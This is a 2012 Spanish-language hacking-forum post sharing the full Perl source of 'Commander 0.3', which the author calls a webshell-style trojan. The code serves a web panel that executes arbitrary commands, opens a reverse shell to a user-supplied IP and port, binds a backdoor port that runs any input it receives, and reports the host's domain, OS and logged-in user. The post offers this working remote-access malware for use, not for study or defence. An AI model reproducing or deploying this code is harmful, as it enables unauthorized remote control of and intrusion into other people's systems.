elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] Commander 0.3
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] Commander 0.3  (Leído 1,535 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] Commander 0.3
« en: 19 Enero 2012, 20:34 pm »

Una mejora de un troyano al estilo webshell que habia hecho el verano pasado.

Código
  1. #!usr/bin/perl
  2. #
  3. #C0mmand3r (C) Doddy HAckman 2012
  4. #Version 0.3
  5. #
  6. #A simple WebShell in Perl
  7. #
  8. #
  9.  
  10. use IO::Socket;
  11. use CGI;
  12. use Cwd;
  13. use Win32;
  14.  
  15. my $port = rep();
  16.  
  17. sub rep {
  18.    unless ( $ARGV[0] ) {
  19.        return int("777");    #Your Can Edit 666
  20.    }
  21.    else {
  22.        return int( $ARGV[0] );
  23.    }
  24. }
  25.  
  26. print "\n\n#########################################\n\n";
  27. print "C0mmand3r (C) Doddy HAckman 2012\n\n\n";
  28. print "[+] Starting the webshell on port $port\n\n";
  29. print "#########################################\n\n";
  30.  
  31. my $sock = new IO::Socket::INET(
  32.    LocalHost => 'localhost',
  33.    LocalPort => $port,
  34.    Proto     => 'tcp',
  35.    Listen    => SOMAXCONN,
  36.    Reuse     => 1
  37. );
  38.  
  39. while ( $jebus = $sock->accept() ) {
  40.  
  41.    print $jebus "HTTP/1.1 200/OK\r\nContent-type:text/html\r\n\r\n";
  42.  
  43. #print $jebus "HTTP/1.1 200/OK\r\nContent-type:application/w-www-form-urlencoded\r\n\r\n";
  44.    next if $slave = fork;
  45.  
  46.    close $sock;
  47.  
  48.    while ( $response = <$jebus> ) {
  49.  
  50.        chomp($response);
  51.  
  52.        my %rta;
  53.  
  54.        if ( $response =~ /GET/ig ) {
  55.            capturar($response);
  56.        }
  57.  
  58.        sub capturar {
  59.            my $aa = shift;
  60.            chomp $aa;
  61.            if ( $aa =~ /GET \/(.*) HTTP\/1.1/ig ) {
  62.                my $todo = $1;
  63.                if ( $todo =~ /\?(.*)=(.*)&(.*)=(.*)/ig ) {
  64.                    $rta{$1} = $2;
  65.                    $rta{$3} = $4;
  66.                }
  67.                if ( $todo =~ /\?(.*)=(.*)/ig ) {
  68.                    $rta{$1} = $2;
  69.                }
  70.            }
  71.  
  72.        }
  73.  
  74.        print $jebus "
  75.  
  76. <style type=text/css>
  77.  
  78.  
  79. .main {
  80. margin : -287px 0px 0px -490px;
  81. border : White solid 1px;
  82. BORDER-COLOR: #00FF00;
  83. }
  84.  
  85. #pie {
  86. position: absolute;
  87. bottom: 0;
  88. }
  89.  
  90. body,a:link {
  91. font: normal 16px Verdana, Arial, Helvetica,
  92. sans-serif;
  93. background-color: #000000;
  94. color:#00FF00;
  95. Courier New;
  96. cursor:crosshair;
  97. font-size: small;
  98. }
  99.  
  100. input,table.outset,table.bord,table,textarea,select,fieldset {
  101. background-color:black;color:#00FF00;
  102. border: solid 1px #00FF00;
  103. border-color:#00FF00
  104. }
  105.  
  106. a:link,a:visited,a:active {
  107. color: #00FF00;
  108. font: normal 16px Verdana, Arial, Helvetica,
  109. sans-serif;
  110. text-decoration: none;
  111. }
  112.  
  113. </style>
  114.  
  115. ";
  116.  
  117.        if ( $rta{'info'} ) {
  118.  
  119.            info();
  120.  
  121.            print $jebus "<center><br><br><b>IP : </b>" . get_ip() . "<br>";
  122.            print $jebus "<center><br><br><b>Domain : </b>"
  123.              . Win32::DomainName() . "<br>";
  124.            print $jebus "<b>Chip : </b>" . Win32::GetChipName() . "<br>";
  125.            print $jebus "<b>OS : </b>" . Win32::GetOSName() . "<br>";
  126.            print $jebus "<b>Version : </b>" . Win32::GetOSVersion() . "<br>";
  127.            print $jebus "<b>User : </b>"
  128.              . Win32::LoginName()
  129.              . "<br><br></center>";
  130.            copyright();
  131.  
  132.        }
  133.  
  134.        elsif ( $rta{'console'} ) {
  135.            logouno();
  136.            print $jebus "
  137. <br><br><center>
  138. <form action='' method=GET>
  139. Command : <input type=text name=cmd value=ver><input type=submit value=Execute>
  140. </center></form><br><br>
  141. ";
  142.            copyright();
  143.        }
  144.  
  145.        elsif ( $rta{'cmd'} ) {
  146.            logouno();
  147.            $lucha = $rta{'cmd'};
  148.            print $jebus "<br><br><center><fieldset>";
  149.            $lucha =~ s/\+/ /;
  150.            print $jebus "<br>[+] Command : <b>$lucha</b><br><br>";
  151.            print $jebus qx($lucha);
  152.            print $jebus "</center></fieldset>";
  153.            copyright();
  154.        }
  155.  
  156.        elsif ( $rta{'reverse'} ) {
  157.  
  158.            logodos();
  159.  
  160.            print $jebus qq(
  161. <center>
  162. <br><br><b>ReverseShell</b><br><br>
  163. <form action='' method=GET>
  164. <b>Your IP</B> : <input type=text name=ipconnect value=localhost><br>
  165. <b>Port</b> : <input type=text name=port value=666><br>
  166. <br><input type=submit value=Connect></form><br><br>
  167. </center>
  168. );
  169.  
  170.            copyright();
  171.        }
  172.  
  173.        elsif ( $rta{'ipconnect'} ) {
  174.  
  175.            conectar( $rta{'ipconnect'}, $rta{'port'} );
  176.            tipo();
  177.  
  178.            sub conectar {
  179.                socket( REVERSE, PF_INET, SOCK_STREAM, getprotobyname("tcp") );
  180.                connect( REVERSE, sockaddr_in( $_[1], inet_aton( $_[0] ) ) );
  181.                open( STDIN,  ">&REVERSE" );
  182.                open( STDOUT, ">&REVERSE" );
  183.                open( STDERR, ">&REVERSE" );
  184.            }
  185.  
  186.            sub tipo {
  187.                print "\n[*] Reverse Shell Starting...\n\n";
  188.                if ( $^O =~ /Win32/ig ) {
  189.                    infowin();
  190.                    system("cmd.exe");
  191.                }
  192.                else {
  193.                    infolinux();
  194.  
  195.                    #root();
  196.                    system("export TERM=xterm;exec sh -i");
  197.                }
  198.            }
  199.  
  200.            sub infowin {
  201.                print "[+] Domain Name : " . Win32::DomainName() . "\n";
  202.                print "[+] OS Version : " . Win32::GetOSName() . "\n";
  203.                print "[+] Username : " . Win32::LoginName() . "\n\n\n";
  204.            }
  205.  
  206.            sub infolinux {
  207.                print "[+] System information\n\n";
  208.                system("uname -a");
  209.                print "\n\n";
  210.            }
  211.        }
  212.  
  213.        elsif ( $rta{'backdoor'} ) {
  214.  
  215.            logotres();
  216.  
  217.            print $jebus qq(
  218. <center>
  219. <br><br><b>BindPort</b><br><br>
  220. <form action='' method=GET>
  221. <b>Port</b> : <input type=text name=portbind value=666><br>
  222. <br><input type=submit value=Bind></form><br><br>
  223. </center>
  224. );
  225.  
  226.            copyright();
  227.  
  228.        }
  229.  
  230.        elsif ( $rta{'portbind'} ) {
  231.  
  232.            $backdoor = IO::Socket::INET->new(
  233.                Proto     => 'tcp',
  234.                LocalPort => $rta{'portbind'},
  235.                Listen    => SOMAXC,
  236.                Reuse     => 1
  237.            );
  238.  
  239.            while ( $jesus = $backdoor->accept() ) {
  240.                $jesus->autoflush(1);
  241.                print $jesus
  242.                  "[*] Heaven_Door Online\n[*] Port : 25256\n[*] PID : "
  243.                  . $$ . "\n\n";
  244.                print $jesus "Welcome  " . $jesus->peerhost . "\n\n";
  245.                &extras;
  246.                $dir = getcwd();
  247.                print $jesus $dir . ">>";
  248.                while (<$jesus>) {
  249.                    my $yeah = qx($_);
  250.                    print $jesus "\n\n" . $yeah . "\n\n";
  251.                    print $jesus $dir . ">>";
  252.                }
  253.            }
  254.  
  255.            sub extras {
  256.  
  257.                if ( $^O =~ //ig ) {
  258.                    print $jesus "[+] Domain Name : "
  259.                      . Win32::DomainName() . "\n";
  260.                    print $jesus "[+] OS Version : "
  261.                      . Win32::GetOSName() . "\n";
  262.                    print $jesus "[+] Username : "
  263.                      . Win32::LoginName()
  264.                      . "\n\n\n";
  265.                }
  266.                else {
  267.                    $s = qx("uname -a");
  268.                    print $jesus "--==System Info==--\n\n" . $s;
  269.                }
  270.            }
  271.        }
  272.  
  273.        elsif ( $rta{'about'} ) {
  274.  
  275.            about();
  276.  
  277.            print $jebus qq(
  278. <pre><center>
  279.  
  280.  
  281.                 ¾¾¾¾¾¾¾¾¾¾¾              
  282.             ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾          
  283.           ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾          
  284.         ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾        
  285.         ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾        
  286.        ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾      
  287.       ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾      
  288.       ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾      
  289.       ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾      
  290.        ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾      
  291.        ¾¾¾¾¾¾¾  ¾¾¾¾¾¾¾¾¾¾¾    ¾¾¾¾      
  292.         ¾¾¾¾       ¾¾¾¾¾¾      ¾¾¾¾      
  293.          ¾¾¾      ¾¾¾ ¾¾¾      ¾¾¾        
  294.          ¾¾¾¾¾¾¾¾¾¾¾   ¾¾¾   ¾¾¾¾          
  295.           ¾¾¾¾¾¾¾¾¾     ¾¾¾¾¾¾¾¾¾        
  296.           ¾¾¾¾¾¾¾¾¾  ¾  ¾¾¾¾¾¾¾¾¾        
  297.           ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾        
  298.                ¾¾¾¾¾¾¾¾¾¾¾¾¾              
  299.              ¾  ¾¾¾¾¾¾¾¾¾¾  ¾            
  300.              ¾    ¾ ¾¾¾¾ ¾  ¾            
  301.              ¾ ¾¾          ¾¾            
  302.     ¾¾¾      ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾            
  303.    ¾¾¾¾¾      ¾¾¾¾¾¾¾¾¾¾¾¾¾¾      ¾¾¾    
  304.    ¾¾¾¾¾¾¾      ¾¾¾¾¾¾¾¾¾¾¾      ¾¾¾¾¾¾  
  305.    ¾¾¾¾¾¾¾¾¾¾      ¾¾¾         ¾¾¾¾¾¾¾¾¾  
  306.     ¾¾¾  ¾¾¾¾¾¾             ¾¾¾¾¾¾¾¾¾¾¾  
  307.              ¾¾¾¾¾¾     ¾¾¾¾¾¾¾          
  308.                 ¾¾¾¾¾¾¾¾¾¾¾¾              
  309.                  ¾¾¾¾¾¾¾¾¾                
  310.               ¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾            
  311.           ¾¾¾¾¾¾¾         ¾¾¾¾¾¾¾        
  312.       ¾¾¾¾¾¾¾                ¾¾¾¾¾¾¾¾¾¾  
  313.  ¾¾¾¾¾¾¾¾                       ¾¾¾¾¾¾¾¾  
  314.  ¾¾¾¾¾¾                           ¾¾¾¾¾¾  
  315.   ¾¾¾¾                             ¾¾¾¾  
  316.  
  317.  
  318. </pre></center>
  319.  
  320. );
  321.  
  322.            copyright();
  323.  
  324.        }
  325.        else {
  326.            print $jebus "
  327. <title>Commander 0.3 (C) Doddy Hackman 2012</title>
  328. <br><br>
  329. <h1><center>Commander</center></h1>
  330. <br><br>
  331. <center>
  332. <table border=1>
  333. <td class=main><center><b>Tools</b></center></td><tr>
  334. <td class=main><a href=?info=true><center>Information</center></a></td><tr>
  335. <td class=main><a href=?console=true><center>Console</center></a></td><tr>
  336. <td class=main><a href=?backdoor=true><center>Backdoor</center></a></td><tr>
  337. <td class=main><a href=?reverse=true><center>ReverseShell</center></a></td><tr>
  338. <td class=main><a href=?about=true><center>About</center></a></td>
  339. </table>
  340. </center>
  341. ";
  342.            copyright();
  343.        }
  344.        $jebus->close;
  345.    }
  346. }
  347. continue {
  348.    $jebus->close;
  349. }
  350.  
  351. sub logouno {
  352.    print $jebus qq(
  353.  
  354. <pre><center>
  355.  
  356.  
  357.    @@@@@@@@                                                  @@            
  358.  @@        @@                                                @@            
  359.  @@                                                          @@            
  360.  @@              @@@@@@    @@  @@@@      @@@@      @@@@@@    @@    @@@@@@  
  361.  @@            @@      @@  @@@@    @@  @@    @@  @@      @@  @@  @@      @@
  362.  @@            @@      @@  @@      @@    @@      @@      @@  @@  @@@@@@@@@@
  363.  @@            @@      @@  @@      @@      @@    @@      @@  @@  @@        
  364.  @@        @@  @@      @@  @@      @@  @@    @@  @@      @@  @@  @@      @@
  365.    @@@@@@@@      @@@@@@    @@      @@    @@@@      @@@@@@    @@    @@@@@@  
  366.  
  367.  
  368. </pre></center>
  369. );
  370. }
  371.  
  372. sub logodos {
  373.    print $jebus qq(
  374. <pre><center>
  375.  
  376.  
  377.  @@@@@@@@@@                                                                    
  378.  @@        @@                                                                  
  379.  @@        @@                                                                  
  380.  @@        @@      @@@@@@    @@      @@    @@@@@@    @@@@    @@@@      @@@@@@  
  381.  @@@@@@@@@@      @@      @@  @@      @@  @@      @@  @@    @@    @@  @@      @@
  382.  @@        @@    @@@@@@@@@@    @@  @@    @@@@@@@@@@  @@      @@      @@@@@@@@@@
  383.  @@        @@    @@            @@  @@    @@          @@        @@    @@        
  384.  @@        @@    @@      @@      @@      @@      @@  @@    @@    @@  @@      @@
  385.  @@        @@      @@@@@@        @@        @@@@@@    @@      @@@@      @@@@@@  
  386.  
  387.  
  388. </pre></center>
  389. );
  390. }
  391.  
  392. sub logotres {
  393.  
  394.    print $jebus qq(
  395. <pre><center>
  396.  
  397.  @@@@@@@@                              @@                  @@                              
  398.  @@      @@                            @@                  @@                              
  399.  @@      @@                            @@                  @@                              
  400.  @@      @@      @@@@@@      @@@@@@    @@    @@      @@@@@@@@    @@@@@@      @@@@@@    @@@@
  401.  @@@@@@@@              @@  @@      @@  @@  @@      @@      @@  @@      @@  @@      @@  @@  
  402.  @@      @@      @@@@@@@@  @@          @@@@        @@      @@  @@      @@  @@      @@  @@  
  403.  @@      @@    @@      @@  @@          @@  @@      @@      @@  @@      @@  @@      @@  @@  
  404.  @@      @@    @@      @@  @@      @@  @@    @@    @@      @@  @@      @@  @@      @@  @@  
  405.  @@@@@@@@        @@@@@@@@    @@@@@@    @@      @@    @@@@@@@@    @@@@@@      @@@@@@    @@  
  406.  
  407.  
  408. </pre></center>
  409. );
  410. }
  411.  
  412. sub about {
  413.  
  414.    print $jebus qq(
  415. <pre><center>
  416.  
  417.  
  418.      @@        @@                                      
  419.      @@        @@                                  @@  
  420.    @@  @@      @@                                  @@  
  421.    @@  @@      @@@@@@@@      @@@@@@    @@      @@  @@@@
  422.  @@      @@    @@      @@  @@      @@  @@      @@  @@  
  423.  @@      @@    @@      @@  @@      @@  @@      @@  @@  
  424.  @@@@@@@@@@    @@      @@  @@      @@  @@      @@  @@  
  425. @@          @@  @@      @@  @@      @@  @@    @@@@  @@  
  426. @@          @@  @@@@@@@@      @@@@@@      @@@@  @@    @@
  427.  
  428.  
  429. </pre></center>
  430. );
  431.  
  432. }
  433.  
  434. sub info {
  435.  
  436.    print $jebus qq(
  437. <pre><center>
  438.  
  439.  
  440.  @@    @@        @@    @@@@@@@@@@    @@@@@@@@  
  441.  @@    @@@@      @@    @@          @@        @@
  442.  @@    @@@@      @@    @@          @@        @@
  443.  @@    @@  @@    @@    @@          @@        @@
  444.  @@    @@  @@    @@    @@@@@@@@    @@        @@
  445.  @@    @@    @@  @@    @@          @@        @@
  446.  @@    @@      @@@@    @@          @@        @@
  447.  @@    @@      @@@@    @@          @@        @@
  448.  @@    @@        @@    @@            @@@@@@@@  
  449.  
  450.  
  451. </pre></center>
  452. );
  453.  
  454. }
  455.  
  456. sub get_ip {
  457.    my $get = gethostbyname("");
  458.    return inet_ntoa($get);
  459. }
  460.  
  461. sub copyright {
  462.    print $jebus
  463.      "<br><br><br><br><center><h1>Coded By Doddy H</h2></center><br><br>";
  464.    exit(1);
  465. }
  466.  
  467. # The End ?
  468.  
  469.  


« Última modificación: 19 Enero 2012, 20:37 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Libros de Perl online [PERL]
Scripting
madpitbull_99 0 3,838 Último mensaje 18 Mayo 2011, 21:49 pm
por madpitbull_99
[Perl] Commander
Scripting
BigBear 3 2,872 Último mensaje 9 Diciembre 2011, 16:52 pm
por ruben_linux
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines